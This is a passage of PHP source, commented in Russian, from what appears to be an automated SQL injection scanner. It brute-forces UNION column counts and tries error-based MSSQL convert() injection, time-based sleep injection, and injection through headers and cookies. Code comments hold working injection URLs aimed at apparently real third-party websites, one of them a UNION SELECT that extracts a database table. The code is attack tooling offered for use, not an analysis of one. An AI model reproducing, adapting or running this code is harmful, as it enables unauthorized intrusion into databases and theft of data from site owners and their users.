$data['posts']['method'];\n\t\t\t\n\t\t\t\n\t\t\tif(intval($data['posts']['sposob'])==0){\n\t\t\t\t$this-\u003eget_by_error='';\n\t\t\t}\n\t\t\t\n\t\t\tif(intval($data['posts']['sposob'])==1){\n\t\t\t\t$this-\u003eget_by_error='%27';\n\t\t\t}\n\t\t\t\n\t\t\tif(intval($data['posts']['sposob'])==2){\n\t\t\t\t$this-\u003eget_by_error='%22';\n\t\t\t}\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t$w = explode(',', $data['posts']['work']);\n\t\t\t\t\n\t\t\t\tif($w!=='')\n\t\t\t\t{\n\t\t\t\t\n\t\t\t\t\tforeach ($w as $v)\n\t\t\t\t\t{\n\t\t\t\t\t\tif(intval($v)!==0)$this-\u003ework[] = $v;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t$this-\u003ecolumn  = $data['posts']['column'] ;\n\t\t\t\t$this-\u003eversion = $data['posts']['version'] ;\n\t\t\t\n\t\t\tif($set !==false )\n\t\t\t{\n\t\t\t\t\n\t\t\t\t$set = unserialize($set);\n\t\t\t\t\n\t\t\t\t//$this-\u003ed($set,'inject $set !==false inject');\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t$this-\u003eset = $this-\u003eparse_link('http://'.$this-\u003eurl);\n\t\t\t\t\n\t\t\t\tif($this-\u003ehttps){\n\t\t\t\t\t$this-\u003eset[\"scheme\"] = 'https';\n\t\t\t\t}else{\n\t\t\t\t\t$this-\u003eset[\"scheme\"] = 'http';\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t$this-\u003esec=3;\n\t\t\t\t$this-\u003eset['full'] = $this-\u003eset['scheme'].'://'.$this-\u003eset['host'].$this-\u003eset['path'].'?';\n\t\t\t\t\n\t\t\t\t$this-\u003eset['sleep']['flt']['tp']=$set['tp']; \n\t\t\t\t$this-\u003eset['sleep']['flt']['qt']=$set['qt'];\n\t\t\t\t$this-\u003eset['sleep']['flt']['sp']=$set['sp'];\n\t\t\t\t$this-\u003eset['sleep']['flt']['ed']=$set['ed'];\n\t\t\t\t$this-\u003eset['sleep']['flt']['an']=$set['an'];\n\t\t\t\t$this-\u003eset['sleep']['flt']['nl']=$set['nl'];\n\t\t\t\t$this-\u003eset['sleep']['flt']['sq']=$set['sq'];\n\t\t\t\t$this-\u003eset['sleep']['flt']['sl']=$set['sl'];\n\t\t\t\t\n\t\t\t\t$this-\u003eset['sleep']['scb']= $set['scb'];\n\t\t\t\t$this-\u003eset['sleep']['coment']= $set['coment'];\n\t\t\t\t$this-\u003eset['sleep']['outp']= $set['outp'];\n\t\t\t\t$this-\u003eset['sleep']['hex']= $set['hex'];\n\t\t\t\t$this-\u003eret['sleep']['key'] = $set['key'];\n\t\t\t\t$this-\u003eret['sleep']['val'] = $set['val'];\n\t\t\t\t\n\n\t\t\t\t$this-\u003esleep_metod = true;\n\t\t\t\n\t\t\t}\n\t\t\n\t\t\t\n\t\t}else{\n\t\t\t\n\t\t\t#$inj_test = $this-\u003einj_test($this-\u003eurl);\n\t\t\t//$this-\u003ed($inj_test,'$inj_test SLEEP');\n\t\t\t//if($inj_test=='sleep_metod'){$x=1;}else{$x=0;}\n\t\t\t\n\t\t\t\n\t\t\tif($this-\u003estart() == true)\n\t\t\t{\n\t\t\t\t\t\n\t\t\t\tif($this-\u003emssql==true)\n\t\t\t\t{\n\t\t\t\t\t\n\t\t\t\t\t$this-\u003emssqlGetVersion();\n\t\t\t\t\t\n\t\t\t\t\t$v = substr($this-\u003eversion, 0,1);\n\t\t\t\t\t\n\t\t\t\t\tif($v=='M' or $v=='m')\n\t\t\t\t\t{\n\t\t\t\t\t\treturn true;\n\t\t\t\t\t}else{\n\t\t\t\t\t\t\n\t\t\t\t\t\treturn false;\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tif($this-\u003eversion !='')\n\t\t\t\t\t{\n\t\t\t\t\t\treturn true;\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t$this-\u003emysqlGetVersion();\n\t\t\t\t\t\n\t\t\t\t\tif($this-\u003eversion !='')\n\t\t\t\t\t{\n\t\t\t\t\t\treturn true;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\n\t\t\t\treturn false;\n\t\t\t\t\n\t\t\t\t\n\t\t\t}else\n\t\t\t{\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\t\n\t\t}\n\t\t\n\t}\t\n\t\t\n\tfunction head_inject($url,$hs,$data=false,$set=false,$post=false){//выступает как предоболочка так и самостоятельная функция\n\t\n\t\t$this-\u003ehttps_check=false;\n\t\t$this-\u003echeck_https($url,$hs);\n\t\n\t\t$head = $hs['inject'];\n\n\t\tif($hs['url'] !='')$url = $hs['url'];\n\t\t$url = $this-\u003efilter_url($url);\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t$tmp = parse_url($url);\n\t\t$url =$tmp['path']; \n\t\t//$this-\u003ed($tmp,'tmp inject');\n\t\t\n\t\t\n\t\t\n\t\tif($head == 'useragent'){\n\t\t\t$this-\u003emethod_old =true;\n\t\t\t$this-\u003eh_s['useragent'] = 'mozilla';\n\t\t}elseif($head == 'referer'){\n\t\t\t$this-\u003emethod_old =true;\n\t\t\t$this-\u003eh_s['referer'] =   'google.com';\n\t\t}elseif($head == 'forwarder'){\n\t\t\t$this-\u003emethod_old =true;\n\t\t\t$this-\u003eh_s['forwarder'] = '8.8.8.8';\n\t\t}elseif($head == 'post'){\n\t\t\t$this-\u003eh_s['post'] =      $hs['post'];\n\t\t}elseif($head == 'cookies'){\n\t\t\tif($hs['cookies'] !=''){\n\t\t\t\t$this-\u003eh_s['cookies'] =   $hs['cookies'];\n\t\t\t}else{\n\t\t\t\t$this-\u003eh_s['cookies'] =   $this-\u003eh_s['cookies'];\n\t\t\t}\n\t\t\t\n\t\t}\n\t\t\n\t\t//$this-\u003eheader = true;\n\t\t$this-\u003ehead_enable = true;\n\t\t\n\t\t$this-\u003eh_s['post_static'] =  $hs['post_static'];\n\t\t\n\t\t$this-\u003eh_s['inject'] = $head;\n\t\t\n\t\t$this-\u003eh_s['url'] =  $url;\n\t\t\n\t\t//$this-\u003ed($this-\u003eh_s,'$this-\u003eh_s');\n\t\t//exit;\n\t\t\n\t\t$test = $this-\u003eget_inject($url.\"?\".$this-\u003eh_s[$head],$data,$set,$post);\n\t\t\n\t\t\n\t\t\n\t\tif($test == TRUE){\n\t\t\treturn $head;\t\n\t\t}else{\n\t\t\treturn false;\n\t\t}\n\t\t\n\t}\n\t\n\t\n\t\n\t\n\t\n\t\n\tfunction start(){//стартовая функция для запуска 4 способов\n\t\t\t\n\t\t\t$this-\u003ed('start nachalo!!!');\n\t\t\t\n\t\t\t\n\t\t\tif($this-\u003emssql==true)\n\t\t\t{\n\t\t\t\t\n\t\t\t\t\n\t\t\t\tif($this-\u003emssqlOrderError()==true){\n\t\t\t\t\t\n\t\t\t\t\t$this-\u003ed(\"MSSQL GOOD mssqlOrderError\");\n\t\t\t\t\t\n\t\t\t\t\t//exit;\n\t\t\t\t\t\n\t\t\t\t\treturn TRUE;\n\t\t\t\t}else{\n\t\t\t\t\t$this-\u003ed(\"MSSQL BAD mssqlOrderError\");\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t//return FALSE;\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\tif($this-\u003emssqlMovePerebor()==true)\n\t\t\t\t{\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\t$this-\u003ed(\"MSSQL GOOD PEREBOR\");\n\t\t\t\t\t//$this-\u003ed($this-\u003esposob,'this-\u003esposob');\n\t\t\t\t\t//$this-\u003ed($this-\u003emethod,'this-\u003emethod');\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\treturn TRUE;\n\t\t\t\t}else\n\t\t\t\t{\n\t\t\t\t\t$this-\u003ed('false inject MSSQLMovePerebor');\n\t\t\t\t\t$this-\u003ed('esli 100% MSSQL to ne checkaem dalshe');\n\t\t\t\t\t//return false;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\treturn false;\n\t\t\t\t\n\t\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\t$this-\u003emssql=false;\n\t\t\n\t\t\t\n\t\n\t\t\t\n\t\t\tif($this-\u003etype_sposob_union==true){\n\t\t\t\n\t\t\t\tif($this-\u003emysqlMovePerebor()==true){\n\t\t\t\t\t$this-\u003ed('mysqlMovePerebor YES teper proverka version');\n\t\t\t\t\t//$this-\u003ed($this-\u003esposob,'this-\u003esposob');\n\t\t\t\t\t//$this-\u003ed($this-\u003emethod,'this-\u003emethod');\n\t\t\t\t\t\n\t\t\t\t\n\t\t\t\t\t$this-\u003emysqlGetVersion();\n\t\t\t\t\n\t\t\t\t\t$this-\u003ed($this-\u003eversion,'$this-\u003eversion');\n\t\t\t\t\tif($this-\u003eversion =='')\n\t\t\t\t\t{\t\n\t\t\t\t\t\t$this-\u003ed('mysqlMovePerebor YES, no version NOOOOO -\u003e\u003e');\n\t\t\t\t\t}else\n\t\t\t\t\t{\t\n\t\t\t\t\t\treturn true;\n\t\t\t\t\t}\n\t\t\t\t\n\t\t\t\t}else{\n\t\t\t\t\t$this-\u003ed('false inject mysqlMovePerebor');\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\t//return false;\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tif($this-\u003etype_sposob_sleep==true){\n\t\t\t\n\t\t\t\tif($this-\u003esqli() == true)\n\t\t\t\t{\n\t\t\t\t\t\t$this-\u003ed('sleep_method YES');\n\t\t\t\t\t\t$this-\u003ed($this-\u003emethod,'this-\u003emethod');\n\t\t\t\t\t\t$this-\u003ed($this-\u003esposob,'this-\u003esposob');\n\t\t\t\t\t\t\n\t\t\t\t\t\t$this-\u003emysqlGetVersion();\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\tif($this-\u003eversion =='')\n\t\t\t\t\t\t{\t\n\t\t\t\t\t\t\t$this-\u003ed('SLEEP INJECTION YES, no version NOOOOO -\u003e\u003e');\n\t\t\t\t\t\t}else\n\t\t\t\t\t\t{\t\n\t\t\t\t\t\t\t$this-\u003esleep_metod = true;\n\t\t\t\t\t\t\treturn true;\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\treturn true;\n\t\t\t\t}else{\n\t\t\t\t\n\t\t\t\t\t$this-\u003ed('false inject sleep method');\n\t\t\t\t\t$this-\u003esleep_metod = false;\n\t\t\t\t\t\n\t\t\t\t}\n\t\t\t}\n\t\t\n\n\t\n\t\t\n\t\t\tif($this-\u003ehead_enable==true){return false;}\n\t\t\tif($this-\u003emssql==true){return false;}\n\n\t\t\t\n\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\t\n\t\t\tif($this-\u003emysqlFindErrorSqlNew()==true){\n\t\t\t\t\t$this-\u003ed('mysqlFindErrorSqlNew YES');\n\t\t\t\t\t\n\t\t\t\t\t$this-\u003emysqlGetVersion();\n\t\t\t\t\t\n\t\t\t\t\tif($this-\u003eversion =='')\n\t\t\t\t\t{\t\n\t\t\t\t\t\t$this-\u003ed('mysqlFindErrorSqlNew YES, no version NOOOOO');\n\t\t\t\t\t}else\n\t\t\t\t\t{\t\n\t\t\t\t\t\treturn TRUE;\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\treturn true;\t\n\t\t\t}else{\n\t\t\t\t$this-\u003ed('false inject mysqlFindErrorSqlNew---');\n\t\t\t}\n\t\t\t\n\t\t\tif($this-\u003emysqlFindErrorSql()==true){\n\t\t\t\t\t$this-\u003ed('mysqlFindErrorSql YES');\n\t\t\t\t\t\n\t\t\t\t\t$this-\u003emysqlGetVersion();\n\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\tif($this-\u003eversion =='')\n\t\t\t\t\t{\t\n\t\t\t\t\t\t$this-\u003ed('mysqlFindErrorSql YES, no version NOOOOO');\n\t\t\t\t\t\treturn false;\n\t\t\t\t\t}else\n\t\t\t\t\t{\t\n\t\t\t\t\t\treturn TRUE;\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t}else{\n\t\t\t\t$this-\u003ed('false inject mysqlFindErrorSql---');\n\t\t\t}\n\t\t\t\n\t\t\t/**\n\t\t\tif($this-\u003emysqlOrderError()==true){\n\t\t\t\t\t$this-\u003ed('mysqlOrderError YES');\n\t\t\t\t\t\n\t\t\t\t\t$this-\u003emysqlGetVersion();\n\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\tif($this-\u003eversion =='')\n\t\t\t\t\t{\t\n\t\t\t\t\t\t$this-\u003ed('mysqlOrderError YES, no version NOOOOO');\n\t\t\t\t\t}else\n\t\t\t\t\t{\t\n\t\t\t\t\t\treturn TRUE;\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t}else{\n\t\t\t\t$this-\u003ed('false inject mysqlOrderError---');\n\t\t\t}\n\t\t\t**/\n\t\t\t\n\t\t\treturn FALSE;\n\t\t\t\n\t\t\t\n\t\t}\n\n\t########################## --MYSQL-- ################################\t\n\t\t\n\tfunction mysqlMovePerebor(){//MYSQL перебор variant_query; sposob 1 и метод до 2 UNION c ошибкой\n\t\t\t\n\t\t\t$this-\u003ed('mysqlMovePerebor nachalo');\n\t\t\t\n\t\t\t$sposob = $this-\u003evariant_query;// список query запросов для перебора\n\t\t\t\n\t\t\n\t\t\t$spos = 1;//тут содержится массив запросов\n\t\t\t\n\t\t\tforeach ($sposob as $queryes)//в $queryes массив из 3 массивов\n\t\t\t{\n\t\t\t\t\t\t\t\t\n\t\t\t\t$method=0;//это к примеру этот 1111111111111+UNION+SELECT+ метод\n\t\t\t\t\n\t\t\t\t//$this-\u003ed($queryes,'$queryes');\n\t\t\t\t\n\t\t\t\tforeach ($queryes as $value)//в $value array('1111111111111+UNION+SELECT+','+--+'), \n\t\t\t\t{\n\t\t\t\t\t\n\n\t\t\t\t\t\n\t\t\t\t\t$result = $this-\u003egetSposob($value);\t\n\t\t\t\t\t\n\t\t\t\t\tif($this-\u003econtent_empty ==1){\n\t\t\t\t\t\treturn false;\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\tif($result!==false)\n\t\t\t\t\t{\n\t\t\t\t\t\n\t\t\t\t\t\t$this-\u003emethod = $method;\n\n\t\t\t\t\t\t$this-\u003esposob = $spos;// получается тут всегда первым будет\n\t\t\t\t\t\t\n\t\t\t\t\t\treturn true;\t\t\t\t\n\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t\n\t\t\t\t\t$method++;\n\t\t\t\t\t//exit;\n\t\t\t\t}\n\t\t\t\t$spos++;\n\t\t\t}\n\t\t\t\n\t\t\t\t\n\t\t\t\t//$this-\u003emysqlGetVersion();\n\t\t\t\t//$this-\u003ed($this-\u003eversion,'$this-\u003eversion');\n\t\t\t\t//exit;\n\n\t\t\treturn false;\n\t\t\t\n\t\t\t\n\t\t}\n\t\t\n\tfunction getSposob($query_query){// создание url с колонкам и поиск нужных в ответе /////ДОЧЕРНЯЯ ФУНКЦИЯ для методов///////\n\t\t\n\t\t\n\t\t\t\t$this-\u003ed($query_query,'$query_query');\n\t\t\t\t\n\t\t\t\t//exit;\n\t\t\t\tfor ($i=1;$i\u003c=$this-\u003ecolumn_limit;$i++)//лимит 25 по дефолту\n\t\t\t\t{\n\t\t\t\t\n\t\t\t\t\t$col = 1;\n\t\t\t\t\t$query = $query_query[0];\n\t\t\t\t\t\n\t\t\t\t\twhile ($col\u003c=$i)\n\t\t\t\t\t{\n\t\t\t\t\t\t\n\t//http://kinoklubnichka.ru/news_view.php?news_id=2 UNION ALL SELECT (SELECT CONCAT('qvkqq',IFNULL(CAST(ACTIVE AS CHAR),' '),'jzarqt',IFNULL(CAST(AGENT_INTERVAL AS CHAR),' '),'jzarqt',IFNULL(CAST(DATE_CHECK AS CHAR),' '),'jzarqt',IFNULL(CAST(ID AS CHAR),' '),'jzarqt',IFNULL(CAST(IS_PERIOD AS CHAR),' '),'jzarqt',IFNULL(CAST(LAST_EXEC AS CHAR),' '),'jzarqt',IFNULL(CAST(MODULE_ID AS CHAR),' '),'jzarqt',IFNULL(CAST(NAME AS CHAR),' '),'jzarqt',IFNULL(CAST(NEXT_EXEC AS CHAR),' '),'jzarqt',IFNULL(CAST(SORT AS CHAR),' '),'jzarqt',IFNULL(CAST(USER_ID AS CHAR),' '),'qjzzq') FROM u35491_2.b_agent LIMIT 2,1)-- -\n\t\t\t\t\t\t\n\t\t\t\t\t\t\t\n\t\t\t\t\t\tif($col==1){\n\t\t\t\t\t\t\t$query .= 'CHAR('.$this-\u003echarcher('-x'.$col.'-Q-').')';\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t//$query .= 'IFNULL(CAST('.$this-\u003echarcher('-x'.$col.'-Q-').' AS CHAR))';\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t}else{\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t$query .= ',CHAR('.$this-\u003echarcher('-x'.$col.'-Q-').')'; \n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t//$query .= ',IFNULL(CAST('.$this-\u003echarcher('-x'.$col.'-Q-').' AS CHAR))';\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\t$col++;\n\t\t\t\t\t}\n\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t$column[$i] = $this-\u003eurl.$query.$query_query[1];\n\t\t\t\t\t\t\n\t\t\t\t\tflush();\n\t\t\t\t\t//$column_post[$i] = $query.$query_query[1].'+/*';\n\t\t\t\t\t\n\t\t\t\t\t//$this-\u003ed($this-\u003eurl,'$this-\u003eurl');\n\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t}\n\t\t\t\t\n\t\t\t//\texit;\n\t\t\t\t\n\t\t\t\t//if($this-\u003edebug==true){$this-\u003ed($column,'$column');}\n\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t$i=1;\n\t\t\t\t\n\t\t\t\tforeach ($column as $key=\u003e$value)\n\t\t\t\t{\n\t\t\t\t\t\n\t\t\t\t\t//$this-\u003eform_set['form_post_query'] = str_replace($this-\u003eurl,'',$value);\n\t\t\t\t\t$this-\u003eform_set['form_post_query'] = $value;\n\t\t\t\t\t\n\t\t\t\t\t//$this-\u003ed($this-\u003eform_set['form_post_query'],'dad');\n\t\t\t\t\t//exit;\n\t\t\t\t\t\n\t\t\t\t\t$file = $this-\u003egetContents($value);\n\t\t\t\t\t\n\t\t\t\t\t//if($this-\u003econtent_empty ==1){\n\t\t\t\t\t//\treturn false;\n\t\t\t\t\t//}\n\t\t\t\t\t\n\t\t\t\t\tif($file)\n\t\t\t\t\tflush();\n\t\t\t\t\t\n\t\t\t\t\t//exit;\n\t\t\t\t\tif(strstr($file, '-Q-'))\n\t\t\t\t\t{\n\t\t\t\t\t\tif($this-\u003edebug==true){$this-\u003ed($key,'$value');}\n\t\t\t\t\t\t\n\t\t\t\t\t\t$columnZ = $key;\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t$i++;\n\t\t\t\t\t//if($i==10){exit;}\n\t\t\t\t\t\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\tif(isset($columnZ))\n\t\t\t\t{\t\n\n\t\t\t\t\t$this-\u003ed($columnZ,'$columnZ!!!!!!!!!!!!!!');\n\t\t\t\t\n\t\t\t\t\tpreg_match_all('~-x(.*?)-Q-~',$file,$arr);\n\t\t\t\t\t\n\t\t\t\t\t$this-\u003ecolumn = $columnZ;\n\t\t\t\t\t$this-\u003ework   = $arr[1];\n\t\t\t\t\t\t\n\t\t\t\t\treturn array($columnZ,$arr[1]);\n\t\t\t\t}else{\n\t\t\t\t\treturn FALSE;\n\t\t\t\t}\n\t\t\n\t}\n\n\t########################## ++MSSQL++ ################################\n\t\n\tfunction mssqlMovePerebor(){//MSSQL перебор variant_query_mssql; sposob 1 и метод до 2 UNION c ошибкой\n\t\t\n\t\t$this-\u003ed('mssqlMovePerebor nachalo');\n\t\t\n\t\t$sposob = $this-\u003evariant_query_mssql;// список query запросов для перебора\n\t\t\n\t\n\t\t$spos = 1;//тут содержится массив запросов\n\t\t\n\t\tforeach ($sposob as $queryes)//в $queryes массив из 3 массивов\n\t\t{\n\t\t\t\t\t\t\t\n\t\t\t$method=0;//это к примеру этот 1111111111111+UNION+SELECT+ метод\n\t\t\t\n\t\t\t//$this-\u003ed($queryes,'$queryes');\n\t\t\t\n\t\t\tforeach ($queryes as $value)//в $value array('1111111111111+UNION+SELECT+','+--+'), \n\t\t\t{\n\t\t\t\t\n\t\t\t\t$result = $this-\u003egetSposob_mssql($value);\t\n\t\t\t\t\t\n\t\t\t\t\n\t\t\t\tif($result!==false)\n\t\t\t\t{\n\t\t\t\t\n\t\t\t\t\t$this-\u003emethod = $method;\n\n\t\t\t\t\t$this-\u003esposob = $spos;// получается тут всегда первым будет\n\t\t\t\t\t\n\t\t\t\t\treturn true;\t\t\t\t\n\t\t\t\n\t\t\t\t}\n\t\t\t\n\t\t\t\t$method++;\n\t\t\t\t//exit;\n\t\t\t}\n\t\t\t\n\t\t\t$spos++;\n\t\t}\n\t\t\n\t\t\t\n\t\t\t//$this-\u003emysqlGetVersion();\n\t\t\t//$this-\u003ed($this-\u003eversion,'$this-\u003eversion');\n\t\t\t//exit;\n\n\t\treturn false;\n\t\t\n\t\t\n\t}\n\t\n\tfunction getSposob_mssql($query_query){// создание url с колонкам и поиск нужных в ответе \n\t\n\t/////ДОЧЕРНЯЯ ФУНКЦИЯ для методов///////\n\t\t\n\t\n\t\t\n\t\t\n\t\t\t\t$this-\u003ed($query_query,'$MSSQL_query');\n\t\t\t\t\n\t\t\t\tfor ($i=1;$i\u003c=$this-\u003ecolumn_limit;$i++)//лимит 25 по дефолту\n\t\t\t\t{\n\t\t\t\t\n\t\t\t\t\t$col = 1;\n\t\t\t\t\t$query2 = $query_query[0];\n\t\t\t\t\t\n\t\t\t\t\twhile ($col\u003c=$i)\n\t\t\t\t\t{\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\t$inx = $this-\u003estrtohex('-x'.$col.'-Q-');\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\tif($col==1){\n\t\t\t\t\t\t\t$query2 .= \"cAsT({$inx} as char)\";\n\t\t\t\t\t\t}else{\n\t\t\t\t\t\t\t$query2 .= \",/**/cAsT({$inx} as char)\";\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t$col++;\n\t\t\t\t\t}\n\n\t\t\t\t\tif($query_query[1] =='')\n\t\t\t\t\t{\n\t\t\t\t\t\t$column2[$i] = $this-\u003eurl.$query2;\n\t\t\t\t\t}else{\n\t\t\t\t\t\t$column2[$i] = $this-\u003eurl.$query2.$query_query[1];\n\t\t\t\t\t}\n\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t\n\t\t\t\n\t\t\t\tif($this-\u003edebug==true){$this-\u003ed($column2,'$column2');flush();}\n\t\t\t\n\t\t\t\t\n\t\t\t\t//exit;\n\t\t\t\t$i=1;\n\t\t\t\t\n\t\t\t\tforeach ($column2 as $key=\u003e$value)\n\t\t\t\t{\n\t\t\t\t\t\n\t\t\t\t\t$this-\u003eform_set['form_post_query'] = $value;\n\t\t\t\t\t\n\t\t\t\t\t$file = $this-\u003egetContents($value);\n\n\t\t\t\t\t\n\t\t\t\t\t//exit;\n\t\t\t\t\tif(strstr($file, '-Q-'))\n\t\t\t\t\t{\n\t\t\t\t\t\tif($this-\u003edebug==true){$this-\u003ed($key,'$value');}\n\t\t\t\t\t\t\n\t\t\t\t\t\t$columnZ = $key;\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t$i++;\n\t\t\t\t\t//if($i==10){exit;}\n\t\t\t\t\t\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\tif(isset($columnZ))\n\t\t\t\t{\t\n\n\t\t\t\t\t$this-\u003ed($columnZ,'$columnZ!!!!!!!!!!!!!!');\n\t\t\t\t\n\t\t\t\t\tpreg_match_all('~-x(.*?)-Q-~',$file,$arr);\n\t\t\t\t\t\n\t\t\t\t\t$this-\u003ecolumn = $columnZ;\n\t\t\t\t\t$this-\u003ework   = $arr[1];\n\t\t\t\t\t\t\n\t\t\t\t\treturn array($columnZ,$arr[1]);\n\t\t\t\t}else{\n\t\t\t\t\treturn FALSE;\n\t\t\t\t}\n\t\t\n\t}\n\t\n\t##########################\n\t\n\tfunction mssqlOrderError(){//через ошибки у mssql\n\t\n\t\n\t\n\t\n\t\t$ku1 = $this-\u003echarcher_mssql('[X]');\n\t\t$ku2 = $this-\u003echarcher_mssql('[XX]');\n\n\t\t\n\t\t$zapr_mssql =\"db_name()\";\n\t\t$zapr_mssql =$ku1.'+'.$zapr_mssql.'+'.$ku2;\n\t\t\n\t\n\t\t$this-\u003ed($ku1,'$ku1');\n\t\t$this-\u003ed($ku2,'$ku2');\n\t\t$this-\u003ed($zapr_mssql,'$zapr_mssql');\n\t\n\t\t\n\t\t\t\n\t\t\n\t\t$string['']  = \"' or 1=convert(int,$zapr_mssql COLLATE SQL_Latin1_General_Cp1254_CS_AS) and '1'='1\";\n\t\t//$string['']  = \"' or 1=cOnVeRt(int,(/**/cAsT($zapr_mssql as char))) and '1'='1\";\n\t\t//$string['']  = \"' or 1=cOnVeRt(int,/**/cAsT($zapr_mssql as char)) and '1'='1\";\n\t\t//$string['']  = \"' and 1=convert(int,$zapr_mssql) and '1'='1\";\n\t\t//$string['']  = \"' or 1=cOnVeRt(int,$zapr_mssql) and '1'='1\";\n\t\t//$string['']  = \" and 1=convert(int,$zapr_mssql) and '1'='1\";\n\t\t//$string['']  = \"' and 1=convert(int,$zapr_mssql)\";\n\t\n\t\t$sp = 0;\n\t\t\n\t\t\n//http://asme-pd.bidding4charity.com/items.asp?CID=6\t\t\n//http://asme-pd.bidding4charity.com/items.asp?CID=6' or 1=[t] and '1'='1\n\t\t\n\t\t\n//http://asme-pd.bidding4charity.com/items.asp?CID=6%27%20or%201%3Dconvert%28int%2Cdb_name%28%29%20COLLATE%20SQL_Latin1_General_Cp1254_CS_AS%29%20and%20%271%27%3D%271\n//http://asme-pd.bidding4charity.com/items.asp?CID=6' or 1=convert(int,db_name() COLLATE SQL_Latin1_General_Cp1254_CS_AS) and '1'='1\t\t\n//http://asme-pd.bidding4charity.com/items.asp?CID=6%27%20or%201%3DcOnVeRt%28int%2C%28db_name%28%29%20%20COLLATE%20SQL_Latin1_General_Cp1254_CS_AS%29%20and%20%271%27%3D%271\n\n\n\t\t\n//http://asme-pd.bidding4charity.com/items.asp?CID=6%27%20or%201%3Dconvert%28int%2Cdb_name%28%29%20COLLATE%20SQL_Latin1_General_Cp1254_CS_AS%29%20and%20%271%27%3D%271%09\t\n\t\t\n\t\t \n\t\t  \n\t\t  \n\t\t  \n\t\t  \n\t\t  \n\t\t   \n\t\t    \n\t\t\t\n\t\t\t \n\t\tforeach ($string as $key=\u003e $val)\n\t\t{\n\t\t\t\n\t\t\tif($this-\u003eurl_encode==true)\n\t\t\t{\n\t\t\t\t$url = $this-\u003eurl.rawurlencode($val);\n\t\t\t}else{\n\t\t\t\t$url = $this-\u003eurl.$val;\n\t\t\t}\n\t\t\t\n\t\t\n\t\t\t\n\t\t\t\n\t\t\t//$url = rawurlencode(\"' or 1=convert(int,db_name() COLLATE SQL_Latin1_General_Cp1254_CS_AS) and '1'='1\");\n\t\t\t//$url = \"http://asme-pd.bidding4charity.com/items.asp?CID=6\".$url;\n\t\t\t\n\t\t\t$str1 = $this-\u003egetContents($url);\n\t\t\t\n\t\t\t\n\t\t\t$this-\u003ed($url,'url');\n\t\t\t$this-\u003ed($str1,'$str1'.$val);\n\t\t\t\n\t\t\t\n\t\t\tif($str1 !=''){\n\t\t\t\n\t\t\t\tpreg_match(\"~value \\'(.*)\\' to data type int~is\",$str1,$arr);\n\t\t\t\t//$this-\u003ed($arr,'$arr');\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\n\t\t\t\tif(stristr($arr[1], 'microsoft')){\n\t\t\t\t\t\n\t\t\t\t\t$this-\u003ed('good');\n\t\t\t\t\t$this-\u003eget_by_error = $key;\n\t\t\t\t\t$this-\u003esposob = $sp;\n\t\t\t\t\t$this-\u003emethod = 3;\n\t\t\t\t\treturn TRUE;\n\t\t\t\n\t\t\t\t}\n\t\t\t//$sp++;\n\t\t\t}\n\t\t}\n\t\texit;\n\t\t\n\t\treturn false;\n\t}\n\t\n\t\n\t##########################\n\t\n\tfunction sqli($url = ''){ //для метода sleep UNION без ошибки\n\t\t\n\t\t$this-\u003ed('sqli nachalo');\n\t\t\n\t\tif($url !=''){\n\t\t\t$this-\u003eurl=$url;\n\t\t}else{\n\t\t\t$this-\u003eurl = 